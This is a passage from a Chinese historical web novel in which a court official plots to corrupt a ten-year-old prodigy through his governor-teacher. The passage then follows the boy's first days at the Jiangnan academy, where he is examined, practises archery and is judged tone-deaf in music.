“阁老所言极是。清流那边,确实已经有所动作。不过……他们怕是要失望了。” “怎么说?” 罗文龙的嘴角勾起一抹不易察觉的弧度。 “因为此子,如今已经拜了一位老师。而这位老师,既不是清流一脉,也不是我们的人。” 严世蕃的兴趣被彻底吊了起来,他身体前倾,追问道:“谁?” “江苏巡抚,林瀚文。” “林瀚文!” 当这三个字从罗文龙口中吐出时,严世蕃的瞳孔骤然一缩。 随即,一种狂喜的光芒从他眼底深处迸发出来,瞬间照亮了他那张肥胖的脸。 他笑了,笑得极为畅快,甚至拍着大腿,连声叫好。 “好!好!好啊!真是踏破铁鞋无觅处,得来全不费工夫!” 满朝文武,谁不知道林瀚文是一块难啃的硬骨头? 此人乃是前朝重臣的关门弟子,又是当年科举的榜眼,才干卓绝,心性更是坚韧无比。 他为官二十余载,清廉自守,政绩斐然,圣眷正隆。 最关键的是,他是个孤臣,不拉帮,不结派。 像一根钉子一样,牢牢地扎在江苏那片天下粮仓的富庶之地上。 清流那边,数次想将他引为同道,皆被他婉言谢绝。 严世蕃这边,更是用尽了各种手段,威逼、利诱,都如同泥牛入海,不起半点波澜。 林瀚文本人无懈可击,更麻烦的是,他膝下无子,孑然一身,连个可以下手的家眷都没有。 这么一个手握重权的封疆大吏,却游离于朝堂两大势力之外,对严世蕃来说,如鲠在喉。 可现在,机会来了! 一个完美的,几乎是上天赐予的机会! 林瀚文竟然收了陆明渊为徒! “这个林瀚文,聪明一世,糊涂一时啊!” 严世蕃脸上的笑意愈发浓郁。 “他以为收了个天才弟子是为自己衣钵传承,却不知,是亲手给自己送上了一副枷锁,一个天大的破绽!” 他的目光转向罗文龙,声音中带着不容置疑的命令。 “文龙。” “属下在。” “你立刻亲自去一趟江苏,带上我们最好的‘东西’。” 严世蕃的语气变得阴柔而冰冷。 “扬州瘦马,金银玉器,奇珍古玩,只要是这世上能想到的好东西,不计任何代价,都给我堆到那个陆明渊的面前!” “一个十岁的少年郎,能有多少定力?他见识过江陵县的穷山恶水,乍一见到江南的繁华,心神早就乱了。” “这时候,我们再给他送去温柔乡,送去泼天富贵,我就不信,他能抵挡得住!” 严世蕃站起身,在房间里踱着步,眼中的算计之光越来越亮。 “他不是喜欢写策论吗?给他建一座天下最大的藏书楼!他不是被封了男爵吗?告诉他,只要他听话,将来封侯拜相,也不是不可能!” “先用这些东西,把他的心给我彻底腐蚀掉,等他成了我们的人,再通过他,去影响林瀚文。” “林瀚文不是孤臣吗?不是没有弱点吗?好啊,那我就亲手给他制造一个弱点!” “他视若珍宝的亲传弟子,就是他最大的软肋!到时候,由不得他不上我们这条船!” 罗文龙听得心悦诚服,他深深一揖,由衷地赞叹道。 “小阁老深谋远虑,运筹帷幄,属下佩服得五体投地!” “此计一出,林瀚文这颗江南的硬钉子,迟早要被我们连根拔起!” “去吧。” 严世蕃摆了摆手,重新坐回那张虎皮太师椅上。 “是!” 罗文龙恭敬地行了一礼,倒退着走出了听雨楼,身影很快消失在深沉的夜色之中。 楼内,再次恢复了寂静。 严世蕃闭上眼睛,手指在扶手上轻轻敲击着,脑海中浮现出陆明渊那份锋芒毕露的试卷,又浮现出林瀚文那张古井无波的脸。 他低声笑了笑,声音在空旷的房间里显得有些诡异。 “天才?呵呵……这世上最没用的,就是天才的骨气。” “只要找对了法子,再硬的骨头,也能给你一寸寸地敲碎,磨成粉,再塑成我想要的模样……” 说罢,他扬声道:“来人。” 门外立刻有几个身姿婀娜、容貌艳丽的婢女鱼贯而入,她们熟练地上前,为他宽衣解带,伺候他休息。 香风浮动,软玉温香。 京城的夜,依旧在权力的游戏中缓缓流淌。 一场针对一个十岁少年的巨大阴谋,就这样在谈笑间被定了下来。 而远在江宁府的陆明渊,对此一无所知。 他刚刚写完《婴宁》的开篇,吹干了墨迹,小心翼翼地将稿纸收好。 窗外,已是鸡鸣时分,天边泛起了一抹鱼肚白。 新的一天,开始了。 第127章 这对他而言,简直就是天堂! 江宁府的清晨,带着一层薄薄的水汽。 天光自东方的云层后透出,将整座城染上了一层温暖而朦胧的金色。 陆明渊坐在马车里,车窗的帘子被晨风微微掀起一角,他能看到江宁府的人间百态。 阿大赶着车,阿二则像一尊沉默的铁塔,警惕地扫视着四周。 他们的目的地,是江南贡院。 这座坐落于秦淮河畔的宏伟建筑群,是大乾王朝读书人心中的圣地。 百年来,不知多少状元、榜眼、探花从这里走出,继而成为朝堂之上翻云覆雨的重臣。 马车在贡院那气势恢宏的正门前停下。 陆明渊站在这座被誉为“天下文枢”的建筑前时,感受到一种扑面而来的厚重与威严。 高大的牌坊上,“江南贡院”四个鎏金大字在晨光下熠熠生辉。 门口的守卫森严,目光如炬,寻常人等,连靠近牌坊十丈之内都会被呵斥驱离。 然而,他们刚一下车,便有一位身着青色儒衫,管事模样的中年人快步迎了上来。 他先是恭敬地对着陆明渊行了一礼,目光中带着几分审视与好奇,随后才温声说道。 “可是陆明渊,陆男爵?” “正是在下。” 陆明渊拱手回礼,不卑不亢。 “小人奉陈学正之命,在此恭候多时了。” 那管事侧过身,做了一个“请”的手势。 “男爵请随我来,陈学正正在后院书房等您。” 阿大阿二对视一眼,想要跟上,却被管事客气地拦了下来。 “两位壮士还请在此稍候,贡院重地,外人不得擅入。” 陆明渊回头对他们点了点头,示意无妨,便独自跟着那管事,穿过了层层院落。 一路行来,亭台楼阁,曲径通幽,处处都透着江南园林的精致与文人雅士的清贵。 这里的每一块砖石,每一棵古树,似乎都沉淀着墨香与历史的尘埃。 终于,他们在一座雅致的小院前停下。 院内种着几竿翠竹,清风拂过,竹叶沙沙作响。 管事将陆明渊引至一间书房门口,便躬身退下。 陆明渊整理了一下衣衫,轻轻叩响了房门。 “进来。” 一个略显苍老但中气十足的声音从里面传来。 他推门而入,一股浓郁的墨香与书卷的陈旧气息扑面而来。 书房内,陈设古朴,四壁皆是顶天立地的书架,上面密密麻麻地塞满了各种典籍。 一位须发皆白,面容清瘦,但精神矍铄的老者正坐在书案后,目光如电地看着他。 这位,想必就是江南贡院的学正,陈子墨了。 “学生陆明渊,拜见陈学正。” 陆明渊上前,规规矩矩地行了一个大礼。 陈子墨并未让他起身,只是静静地打量着他。 眼前的少年,身形尚未长开,面容还带着稚气,但那双眼睛,却清澈得如同秋日的湖水,沉静得不像一个十岁的孩子。 其中没有寻常少年得志后的骄矜与浮躁,只有一片坦然与平和。 仅仅是这第一眼,陈子墨心中的些许偏见便散去了大半。 “起来吧。” 他淡淡地开口,声音里听不出喜怒。 “谢学正。” “林抚台的信,老夫已经看过了。” 陈子墨指了指对面的椅子,“坐。” 陆明渊依言坐下,身姿挺拔,双手平放于膝上,静待下文。 陈子墨没有说任何客套话,直接开门见山。 “你的县试、府试、院试三篇文章,老夫都已读过。” “四书五经的经义功底,确实扎实。今日,老夫便不再考你这些基础的东西。” 他顿了顿,眼神变得锐利起来。 “你中三试魁首,乡试自然不在话下,老夫便不多言!” “乡试之后,便是春闱会试。会试策论,考的不仅是经义,更是见识与格局。” “老夫且问你,《山海舆图注》中,关于西南茶马古道的勘定,有几处谬误?” “《南疆异物考》所载的‘瘴母’,究竟是何物?前朝张江陵变法,其‘中正税制’与本朝的税制相比,其核心利弊何在?” 陈子墨一连问出了七八个问题,每一个都极为刁钻冷僻。 这些问题,早已超出了科举正统的范畴,涉及地理、博物、前朝政典等诸多杂学。 寻常秀才,莫说回答,便是听都未必听说过。 这是考教,更是下马威。 他要看看,这个被林瀚文如此推崇的少年天才,究竟是名副其实,还是盛名之下,其实难副。 陆明渊静静地听着,神色没有丝毫变化。 待陈子墨问完,他才缓缓开口,声音清朗而稳定。 “回学正,《山海舆图注》乃前朝大儒周公游历天下所著,其中关于茶马古道的记述,学生以为共有三处谬误。” “其一,错将澜沧江上游与金沙江混为一谈,导致路线偏差百里……其二……” “至于《南疆异物考》中的‘瘴母’,并非实物,而是指南疆密林中,因草木腐败、湿热郁结而生的一种毒瘴之气。” “古人不明其理,故以‘母’名之,以为能滋生万物,实则谬也……” “论及‘中正税制’,其核心在于将田赋、徭役、杂税等‘并为一条’,折银征收,此法简化了税制,方便了征收,亦在一定程度上限制了地方官吏的盘剥。” “然其弊端亦在于‘一刀切’,未曾考虑到各地物产丰歉与银钱流通之差异,导致银贵钱贱之地,百姓负担反而加重……” 陆明渊侃侃而谈,条理清晰,引经据典,对答如流。 陈子墨脸上的平静渐渐被一丝惊讶所取代,而后,那惊讶又化为了浓浓的欣赏。 他所问的问题中,有五六个,陆明渊都对答如流,甚至还加以引申,提出了自己的见解。 而对于剩下两三个他确实未曾涉猎过的领域,陆明渊也没有强不知以为知。 “……至于学正所问的前朝水利疏略与大乾河工总录之异同,学生才疏学浅,尚未读过这两部巨著,不敢妄言。” 陆明渊坦然地躬了躬身,“是学生的阅读量还远远不够,日后定当补上。” 书房内,陷入了短暂的沉默。 许久,陈子墨才发出一声长长的叹息,那叹息中,带着一种如释重负的欣慰。 “好,好一个‘阅读量还不够’!” 他站起身,亲自走到陆明渊面前,脸上第一次露出了真正的笑容。 “不矜不伐,知之为知之,不知为不知,是知也。明渊,你很好。” 陈子墨是真的满意了。 浙江乡试三元及第,十岁受封男爵,又被林瀚文这等封疆大吏收为亲传弟子。 这一连串的光环,足以让任何一个成年人都心生傲气,更何况是一个十岁的少年。 在见陆明渊之前,陈子墨最担心的,便是他少年骄纵,恃才傲物。 这等心性,即便才华再高,也走不长远。 甚至容易在贡院这种天才云集之地,与人发生冲突,惹来不必要的麻烦。 可今日一见,他才发现自己的担心是多余的。 眼前的少年,心性沉稳,谦逊知礼,学识渊博却不自满,这才是真正的大才之相! “老夫今日考教你,并非有意刁难。” 陈子墨的语气变得温和了许多。 “而是想让你明白,学海无涯,科举之路,更是愈往上走,愈是艰难。你虽有天纵之才,却切不可有半分懈怠之心。” “学生谨记学正教诲。” 陆明渊再次起身行礼。 “坐下吧。” 陈子墨笑着摆了摆手,从书案的抽屉里取出一块温润的白玉牌,递给了陆明渊。 玉牌入手微凉,正面刻着“江南贡院”四个篆字,背面则是一个“陆”字。 “此乃贡院学子的身份玉牌,你收好。” 陈子墨郑重地说道。 “从今日起,你便是江南贡院的正式学子了。凭此玉牌,贡院之内,你皆可畅行无阻。” “多谢学正!” 陆明渊心中一喜,双手接过玉牌。 这块小小的玉牌,意味着他正式踏入了这片大乾王朝最顶尖的学术殿堂。 “走吧,老夫带你四处看看,熟悉一下。” 陈子墨似乎心情极好,竟要亲自带着陆明渊逛一圈贡院。 两人走出书房,沿着回廊前行。 “那边,是明伦堂,乃是贡院山长与各大儒讲学之所。每月逢三、六、九日开讲,你可凭玉牌随时去听。” 陈子墨指着远处一座庄严的殿堂说道。 “明伦堂之后,便是藏书楼。楼高七层,藏书三十万卷,其中不乏海内孤本。你方才说自己阅读量不够,那便是个好去处。” 当陆明渊的目光投向那座巍峨的藏书楼时,他的呼吸都为之停滞了一瞬。 那是一种见到了无尽宝藏的震撼与狂喜。 三十万卷藏书!这对他而言,简直就是天堂! “多谢学正指点,学生日后必当常驻于此。” 陆明渊由衷地说道,眼中闪烁着渴望的光芒。 陈子墨见他如此,更是满意地点了点头,抚须而笑。爱书,才是一个读书人最根本的品质。 随后,他又带着陆明渊来到了后院一片开阔的场地。 这里与前院的肃静截然不同,充满了活力。 有学子在练习射箭,箭矢破空,正中靶心;有学子在马场上练习骑术,身姿矫健;不远处的亭台里,还隐隐传来悠扬的琴声与棋子落盘的清脆声响。 “此地,乃是为学子们修习君子六艺所设。” “礼、乐、射、御、书、数,此乃立身之本。” “我辈读书人,不能只读死书,亦要有强健的体魄与广博的技艺,方能文武兼备,为国效力。” 陆明渊看着眼前的一切,心中感慨万千。 浙江贡院与这里比起来,简直就是乡下的私塾。 无论是规模、藏书、还是教学的全面性,都不可同日而语。 不愧是天下最富庶的江南之地,单是这一座贡院,便足以彰显其雄厚的底蕴。 不过,这些外在的奢华与气派,并未对陆明渊的心境造成丝毫影响。 他的眼中没有羡慕,没有迷醉,只有一片清明。 对他而言,这里再好,也只是一个过程,一个阶梯。 他的目标,从始至终,都只有一个——高中状元! 将整个贡院大致走了一遍,陈子墨将陆明渊送至门口,温言嘱咐道。 “你的住处,林抚台想必已经安排妥当,我便不为你安排宿舍一事。 “从明日起,你便可来此读书了。” “若有何疑难,可随时来书房寻我。” “学生拜谢学正厚爱。” 陆明渊深深一揖。 行完礼后,陆明渊返回了林府! 今日林瀚文或许是公务缠身,并未回来,自然也便没有考教政务! 陆明渊和往常一样,练字五千,而后学习经义,最后休息! 第128章 这才是他此行真正的目的 翌日,天色微明。 陆明渊没有让阿大阿二驾车,而是选择独自步行前往贡院。 晨曦中的江宁府,褪去了夜晚的静谧。 他走在青石板路上,听着远处传来的秦淮画舫上的歌声余韵,闻着街边早点铺子里飘出的面食香气,看着挑着担子匆匆而过的货郎,心中一片宁静。 这种宁静,是前世从未有过的体验。 那是一个信息爆炸、节奏快到让人窒息的时代。 而此刻,他能清晰地感受到时间的流淌,能触摸到这座古老城池的脉搏。 当他踏入江南贡院的大门时,喧嚣被隔绝在外。 晨光穿过高大的牌坊,在地面上投下斑驳的光影,空气中弥漫着一股清洌的墨香与草木的芬芳。 三三两两的学子已经到了。 他们或是在庭院的石桌旁低声交谈,或是手捧书卷在回廊下踱步默诵。 每个人身上都带着一种属于读书人的独特气质——自信、矜持,以及一丝掩饰不住的傲气。 能进入此地的,无一不是百里挑一的俊彦,是各自府县的天之骄子。 陆明渊的出现,像是一颗投入平静湖面的石子,瞬间激起了层层涟漪。 他的年纪实在太扎眼了。 一个看起来不过十岁出头的孩童,身着一身合体的天青色儒衫,独自一人走在这群平均年龄在十五六岁的少年郎之中,显得格格不入。 所有人的目光,都不约而同地汇聚到了他的身上。 那目光中,有好奇,有惊讶,有审视,甚至还有几分不易察觉的轻视。 “这……是哪家的书童走错地方了?” 有人低声议论。 “不对,你看他腰间挂的玉牌,是贡院学子的身份牌。” 另一人眼尖,立刻反驳道。 “学子?怎么可能!他这年纪,怕是连四书五经都未必能背全吧?” “莫非是哪位大人的子侄,走了门路进来旁听的?” 议论声虽轻,却清晰地传入了陆明渊的耳中。 他神色不变,依旧是那副古井无波的模样,径直朝着明伦堂的方向走去。 他的镇定与从容,反而让那些议论的学子们心中更多了几分惊疑。 明伦堂内,早已坐了不少人。 这是一间极为宽敞的讲堂,地面铺着光滑的青砖,一排排的案几擦拭得一尘不染。 阳光从雕花的窗棂透入,将堂内照得明亮而肃穆。 陆明渊的进入,再次引起了一阵小小的骚动。 堂内的学子们,无一不是今年新考中秀才的佼佼者。 他们中的任何一个,放在家乡都是能被夸上天的神童。 十五岁中秀才,已是了不得的成就,足以让他们心生傲意。 可眼前这个小屁孩儿,居然也是秀才? 江苏一省,人杰地灵,难道还真有如此逆天的妖孽? 一时间,几乎所有人的心中都升起了同一个念头! 这小子,究竟是何方神圣? 就在这时,陈子墨缓步走进了明伦堂。 他一出现,堂内瞬间安静下来,所有的学子都立刻起身,恭敬地行礼。 “拜见学正!” “都坐吧。” 陈子墨摆了摆手,目光在堂内扫过,最后落在了陆明渊的身上,眼神中带着一丝温和的笑意。 他走到讲台前,清了清嗓子,沉声说道。 “今日是诸位入院的第一课,在开讲之前,老夫先为各位介绍一位新同窗。” 他伸手指了指站在一旁的陆明渊。 所有人的目光,再一次聚焦在了这个瘦小的身影上。 “这位,名叫陆明渊。” 陈子墨的声音在安静的讲堂内回响,清晰而有力。 “他来自浙江省,乃是今年浙江县试、府试、院试的三试魁首。” “轰!” 一句话,如同一道惊雷,在所有学子脑中炸响! 整个明伦堂,陷入了一片死寂。 三试魁首? 这四个字的分量,足以压得在场所有天之骄子喘不过气来。 他们之中,能得一试案首便足以自傲,而眼前这个十岁的孩子,竟然连中三元? 这已经不是天才了,这是妖孽! 是文曲星下凡! 短暂的死寂之后,是抑制不住的哗然之声。 “什么?浙江的三元魁首?怎么会来我们江南贡院?” “十岁……十岁的三元案首,这……这简直闻所未闻!” “怪不得,怪不得如此年幼便能入学……” 震惊,嫉妒,难以置信……种种复杂的情绪在学子们的心中交织。 然而,陈子墨接下来的话,更是火上浇油。 “如今,明渊已拜入浙江巡抚林瀚文林大人门下,为林抚台的亲传弟子。” “因林抚台公务繁忙,特委托老夫代为教导,故而明渊将在我江南贡院求学。 “日后,便是大家的同门了。” “诸位可相互熟悉一二。” 如果说“三元魁首”是一道惊雷,那“巡抚亲传弟子”这七个字,便是一座压在众人心头的大山。 封疆大吏的亲传弟子! 这个身份,比三元魁首更加耀眼,更加令人敬畏。 堂内的气氛,瞬间变了。 原先的轻视与好奇,彻底消失不见,取而代之的是一种紧张与戒备。 陆明渊的存在,对他们而言,不再是一个有趣的谈资,而是一个实实在在的巨大威胁。 江南贡院的资源是有限的。 山长、大儒的精力是有限的。 而最重要的,两年后乡试的举人名额,更是有限的! 多一个如此恐怖的对手,就意味着他们成功的机会要少一分。 终于,一个坐在前排,面容略显倨傲的少年忍不住站了起来。 他对着陈子墨拱手一揖,朗声说道:“学正,学生有一事不明!” 陈子墨看了他一眼,认出此人是江宁府的院试榜眼,名叫孙志高,颇有才名,只是心气素来高傲。 “但说无妨。” 陈子墨淡淡道。 孙志高深吸一口气,目光直视陆明渊,话语中带着一丝毫不掩饰的质问。 “学正,贡院招录学子,向来只收本省之士。” “陆同学既是浙江才俊,为何能入我江苏贡院?此举,是否……有失公允?” 他的话音一落,立刻引起了许多人的共鸣。 “是啊,孙兄说得有理!” “我等寒窗苦读十数载,方得一个入学名额,若是外省学子也能随意进入,岂不是乱了规矩?” “若他日后也在我江苏参加乡试,岂不是要凭白占去一个举人名额?” “这对我们江苏士子来说,太不公平了!” 附和之声此起彼伏,一时间,整个明伦堂都充满了质疑与排斥的氛围。 几乎所有人都将陆明渊视作了一个入侵者,一个来抢夺他们机缘的过江猛龙。 面对这几乎是所有人的敌意,陆明渊依旧站在那里,神色平静。 这份超乎年龄的沉稳,让陈子墨暗暗点头,也让那些叫嚣的学子们心中愈发没底。 “肃静!” 陈子墨一声冷哼,声音不大,却仿佛带着一股无形的威严,瞬间压下了所有的嘈杂。 他锐利的目光缓缓扫过堂下每一个人的脸,那些方才还义愤填膺的学子,纷纷低下头,不敢与之对视。 “贡院的规矩,老夫比你们任何人都清楚!” 陈子墨的声音冷了下来。 “陆明渊入学,乃是林抚台亲自来信,并经山长允准的特例!你们是在质疑老夫,还是在质疑山长与林抚台?” 一句话,便将众人的质疑顶了回去。 质疑山长?质疑封疆大吏?给他们一百个胆子也不敢。 孙志高脸色一白,连忙躬身道:“学生不敢!学生只是……只是为我等江苏士子的前途担忧。” 陈子墨看着他们一个个紧张戒备的模样,心中暗叹一声,随即缓和了语气,说道。 “老夫知道你们在担心什么。” “你们放心,陆明渊的学籍仍在浙江,一年后的乡试,他会返回浙江应考,不会占用江苏省的任何一个举人名额。” 他顿了顿,补充道:“他来此,不过是借我贡院之地,读书学习而已。” 此言一出,堂内紧绷的气氛,瞬间松弛了下来。 原来不占用名额! 所有人都长长地舒了一口气,仿佛心头的一块巨石被搬开。 看向陆明渊的目光,也瞬间变了。 敌意和戒备迅速消退,取而代之的,是一种纯粹的惊叹、好奇,甚至还有一丝同情。 不占用名额,那这个妖孽就不是他们的竞争对手。 这是一个活生生的传奇,一个可供瞻仰的“他山之石”。 孙志高的脸上也露出了一丝尴尬的笑容,他再次对着陆明渊拱了拱手,道。 “原来如此,是孙某孟浪了。陆师弟天纵奇才,能与师弟同窗,实乃我等之幸。” 这声“师弟”叫得倒是顺口,态度转变之快,令人咋舌。 陆明渊只是微微颔首,算是回礼,并未多言。 一场风波,就此平息。 陈子墨对陆明渊招了招手,温言道:“明渊,去寻个位子坐下吧。” 陆明渊目光在堂内扫了一圈,在靠窗的一个角落里,寻了个空位,默默地坐了下来。 他放下书箱,取出笔墨纸砚。 陈子墨满意地点了点头,这才开始了他今日的讲课。 “今日第一课,我们不讲经义,不讲诗赋。我们来讲一讲,乡试。” “乡试与院试不同,它考的不仅仅是你们的学问,更是你们的体力、心性,以及对大乾律法和为官之道的理解……” 陈子墨的声音,在明伦堂内缓缓回荡。 他讲的,都是些极为实用的东西。 比如,乡试连考三场,每场三天,在狭小的号舍内吃喝拉撒,对身体是极大的考验,因此平日里必须加强锻炼。 又比如,策论题中,时常会涉及大乾的律法条文,若是不熟,便会闹出笑话。 再比如,为官之道,在于一个“衡”字,平衡各方利益,方能游刃有余…… 这些内容,对于在场的学子们来说,都极为新鲜和重要。 他们一个个听得聚精会神,奋笔疾书,生怕漏掉一个字。 陆明渊也在听,也在记。 但他听得更多的,是这些知识背后的逻辑。 第129章 文武双全,实乃良才美玉! 藏书楼前,一位须发皆白的老者正靠在躺椅上打盹。 陆明渊走到近前,脚步放得很轻,生怕惊扰了这份宁静。 他恭敬地行了一礼,轻声道:“老先生,学生陆明渊,前来借阅。” 老者眼皮微微动了一下,缓缓睁开一条缝。 浑浊的目光在陆明渊身上打了个转,似乎对他的年纪有些许意外。 他伸出一只枯瘦的手,指了指旁边的一个木匣子。 “身份玉牌,放入匣中。楼内之书,可随意阅览。若要带出,需另行抵押,一书一册,纹银十两。” 声音沙哑而平缓,不带一丝波澜。 陆明渊依言将自己的学子玉牌放入匣中,又对着老者躬身一揖,这才迈步踏入了藏书楼的大门。 一股浓郁的墨香与陈旧纸张混合的气息扑面而来。 楼内光线幽暗,高大的书架塞满了书籍,一眼望不到尽头。 藏书阁安静无比,仿佛能听到自己的心跳声。 陆明渊深深地吸了一口气,胸中涌起一股难以言喻的激动。 他缓步走在书架之间,指尖轻轻划过那些泛黄的书脊。 经、史、子、集……分门别类,井然有序。 许多书名,他闻所未闻,甚至有些孤本、善本,在前世早已失传,如今却静静地躺在这里,等待着被人翻阅。 他随意地从书架上抽出一本《南疆异物志》。 翻开书页,古朴的字体,详实的图绘,记载着大乾王朝南部边陲的风土人情、奇花异草。 这些知识,是课堂上永远学不到的。 他很快便沉浸了进去。 他就像一块干涸了千年的海绵,被投入了知识的汪洋大海,以一种近乎贪婪的姿态,疯狂地汲取着养分。 过目不忘的能力被他催动到了极致,凡是目光所及,皆是深深刻在他的脑海之中。 一个时辰,转瞬即逝。 正当他翻开一本《大乾水利考》时,脑中突然传来一阵尖锐的刺痛。 眼前书页上的文字开始变得模糊、重叠,仿佛活了过来一般,扭曲着,跳动着。 陆明渊眉头微蹙,立刻合上了书。 他知道,这是精神力消耗过度的征兆。 他的“过目不忘”,并非没有代价,它需要消耗海量的精神,一旦透支,便会头痛欲裂,甚至损伤神魂。 他闭上双眼,静坐了片刻,待那股刺痛感稍稍缓和,才缓缓睁开。 他看了一眼窗外,日头已经升得老高。 “看来,贪多嚼不烂。” 他心中自语,“读书之道,亦需张弛有度。” 他将书籍小心翼翼地放回原处,没有丝毫留恋地转身走出了藏书楼。 知识的盛宴固然美味,但他很清楚,自己未来的路,绝不仅仅是做一个两脚书橱。 君子六艺,礼、乐、射、御、书、数。 “书”与“数”,他自信不弱于人,甚至远超同侪。 但“礼、乐、射、御”,却是他这具身体最为薄弱的环节。 尤其是射、御二艺,对于一个志在庙堂的人来说,关键时刻,或许能派上意想不到的用场。 他没有返回住处,而是径直穿过庭院,朝着贡院后方的演武场走去。 演武场占地极广,一侧是箭靶,一侧是马场。 此刻,正有七八个学子在一名教习的指导下练习射箭。 那教习约莫四十岁年纪,身材魁梧,面容黝黑,双目开阖间精光四射,身上带着一股子寻常人没有的铁血煞气。 陆明渊一眼便看出,此人定是行伍出身,而且是见过血的边军精锐。 “新来的?” 教习见陆明渊走近,沉声问道,目光如刀子般在他瘦弱的身板上刮过,带着几分审视。 “学生陆明渊,见过夫子。” 陆明渊不卑不亢地行礼。 “嗯。”教习点了点头,指着旁边架子上的一排木弓。 “自己去挑一张,先试试拉力。” 这些弓都是练习用的软弓,分三石、五石、七石不等。 陆明渊走到弓架前,没有去拿最轻的三石弓,而是直接取下了中间那张标注着“五石”的角弓。 旁边几个正在休息的学子见了,不由得发出一阵低低的嗤笑。 “这小子,人不大,心气倒不小,上来就敢拿五石弓?” “看着文文弱弱的,怕是连弓弦都拉不开吧。” 那教习也是眉头一挑,却没有出言阻止,只是抱着臂膀,冷眼旁观。 他见多了这种眼高手低的天之骄子,让他们吃点苦头,比说教一百句都有用。 陆明渊对周围的议论充耳不闻,他左手持弓,右手搭弦。 陆明渊深吸一口气,气沉丹田,腰马合一,双臂缓缓用力。 他想象的艰难并未出现,那张五石弓的弓身,竟被他平稳而流畅地拉开了! 虽然还未到满月之形,却也拉开了七八分。 “嗯?” 教习的眼神瞬间变了,原本的审视化作了一丝惊讶。 周围的嗤笑声也戛然而止,那几个学子脸上写满了难以置信。 一个十岁的孩子,第一次上手,就拉开了五石弓? 这力气,比他们这些练了许久的人还要大! 陆明渊自己也有些意外。 他能感觉到,这具身体的底子比他预想的还要好。 过去几年,在陆家村时,虽然不用下重田,但劈柴、挑水之类的农活,他从未落下。 日积月累,早已将这副身板打熬得筋骨坚韧。 再加上他每日清晨坚持练习的后世太极拳,讲究以柔克刚,内外兼修。 潜移默化间,更是让他对力量的运用有了远超常人的理解。 是农活的锻炼,还是太极拳的功效? 陆明渊也分不清楚,或许二者皆有。 但他能清晰地感受到,自己的身体素质,绝对远胜过这些四体不勤、五谷不分的寻常学子。 “不错!” 教习终于开口,声音中带着一丝赞许。 “身子骨看着单薄,没想到是块好料子。比那些绣花枕头强多了!” 他走上前,亲自为陆明渊纠正姿势。 “站稳,双脚与肩同宽。左手推弓,右手扣弦,心要静,眼要利,意在靶心,而非弓弦……” 他的教导言简意赅,全是沙场上总结出的实用法门。 陆明渊听得极为认真,一一记在心里。 整整一个时辰,陆明渊都在重复着拉弓、瞄准、放箭的动作。 从一开始的脱靶,到后来的勉强上靶,再到最后,十箭之中,竟有三四箭能射中靶心周围。 如此惊人的进步速度,让那教习越看越是欣赏。 一个时辰后,陆明渊的右手手腕传来阵阵酸麻,他知道,这是身体的极限到了,便主动停了下来。 “夫子,学生今日便练到这里。” 教习满意地点了点头。 “嗯,射艺之道,贵在坚持,不可一蹴而就。你很有天分,莫要荒废了。” “学生明白。” 告别了射艺教习,陆明渊活动了一下酸胀的手臂,又朝着另一边的乐房走去。 乐房内,檀香袅袅,数名学子正襟危坐,在一位白衣夫子的指导下练习抚琴。 这位乐艺夫子姓李,名清源,是江宁府有名的琴师,为人儒雅,气质出尘。 听闻陆明渊是浙江来的三元魁首,又听射艺那边的同僚夸他天分极高。 李夫子心中顿时大为欣喜,看陆明渊的眼神也充满了期待。 “文武双全,实乃良才美玉!” 李夫子抚须笑道。 “明渊,你且坐下,今日,我便教你识宫、商、角、徵、羽五音。” 他取过一张古琴,置于案上,修长的手指轻轻拨动琴弦。 “叮——” 一声清越的琴音响起,如山涧清泉,沁人心脾。 “此为宫音,厚重,为五音之主。” 他又拨动另一根弦。 “咚——” 琴音略显沉闷。 “此为商音,肃杀,有金石之声。” 李夫子一一演示,讲解得极为细致,神情陶醉,仿佛在展示世间最美妙的艺术。 陆明渊听得很认真,表情也很专注。 然而,在他的耳朵里,那所谓的宫音、商音,除了音高略有不同外,根本听不出任何“厚重”与“肃杀”的区别。 在他听来,那就像是两块生铁在互相敲击,只是用力大小不同罢了。 一炷香后,李夫子演示完毕,含笑看着陆明渊:“明渊,你可听出其中分别了?” 陆明渊沉默了片刻,还是诚实地摇了摇头:“回夫子,学生愚钝,未能听出。” 李夫子脸上的笑容一僵,但很快又恢复如常,温和地说道。 “无妨,初学之人,难免迟钝。我再为你弹奏一曲,你仔细分辨。” 说罢,他十指翻飞,一曲《高山流水》便从他指尖流淌而出,时而激昂,时而婉转,意境高远。 一曲终了,满室寂静。 李夫子看着陆明渊,眼中带着一丝考校的意味:“如何?” 陆明渊依旧是那副平静的表情,思索了半晌,认真地回答道。 “夫子技艺高超,只是……学生还是听不出那些音符连在一起,与单独弹奏,有何本质的不同。” 李夫子的脸色,开始有些发白了。 他深吸一口气,像是要做最后的挣扎,他走到一排编钟前,拿起小槌,分别敲响了两个音色相近的编钟。 “铛!” “当!” 他死死地盯着陆明渊,声音都有些颤抖了:“这两个声音,你……你真的听不出区别?” 陆明渊侧耳倾听了许久,最终,还是带着一丝歉意,肯定地点了点头:“学生确定,听不出区别。” “噗——” 李夫子如遭雷击,踉跄着后退了两步,一屁股坐倒在椅子上,面如死灰。 良久,他才用一种近乎梦呓般的声音,喃喃说道。 “天……天生的……音痴……” 他抬起头,看着眼前这个在读书和射艺上都展现出妖孽般天赋的少年,无比艰难地吐出了一句话: “陆明渊,乐艺这一行,与你……此生无缘了。回去吧,莫要在此,白费力气了!” 第130章 文江府的堤坝,塌了! 陆明渊却并未感到多少失落。 他对着面如死灰的李清源夫子,平静而认真地躬身一揖。 “学生,谢夫子教诲。” 他坦然接受了这个结果。天道酬勤,却也讲究天赋。 强求不来之事,何必耿耿于怀? 世间大道三千,他只需择一善者而从之,便足以安身立命。 转身离开乐房时,他甚至能清晰地听到身后传来的议论声。 “可惜了,文武双全,偏偏在乐之一道上……” “哼,天道公允,岂容一人占尽风流?” 陆明渊置若罔闻,他的心境古井无波。 今日贡院之行,收获已然远超预期。 至于乐艺,不过是锦上添花之物,有之固然风雅,无之亦无伤大雅。 夕阳的余晖将他的影子拉得很长,穿过贡院古朴的牌楼,踏上归途。 林府的马车早已在门口等候,车夫见他出来,连忙放下脚凳。 回到巡抚府邸时,天色已近黄昏。 府内灯火初上,廊下的灯笼投射出温暖而昏黄的光晕,将青石板路照得一片斑驳。 他刚踏入二门,沈文龙便快步迎了上来,脸上带着几分平日里少见的凝重与焦急。 “明渊少爷,您可算回来了。” “沈先生。” 陆明渊点头致意。 “何事如此匆忙?” 沈文龙压低了声音,凑到他耳边,语速极快地说道。 “抚台大人在书房等您,已经等了一阵子了。您快些过去吧。” 